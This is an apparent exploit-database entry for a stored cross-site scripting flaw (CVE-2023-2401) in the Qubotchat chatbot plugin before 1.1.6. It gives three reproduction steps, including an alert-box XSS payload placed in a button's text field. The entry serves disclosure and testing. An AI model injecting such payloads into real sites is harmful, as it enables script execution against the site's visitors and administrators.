Exploit for Qubotchat < 1.1.6 – Admin+ Stored XSS CVE-2023-2401

Name: Exploit for Qubotchat < 1.1.6 – Admin+ Stored XSS CVE-2023-2401
Rating: 5 (90 reviews)

2023-05-22 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:0746EA56-DD88-4FC3-86A3-54408EEF1F94
1. Add a "button" to the chatbot
2. In the "Text This" field, add: `<img src=/ onerror=alert("XSS")>`
3. Reload and see XSS.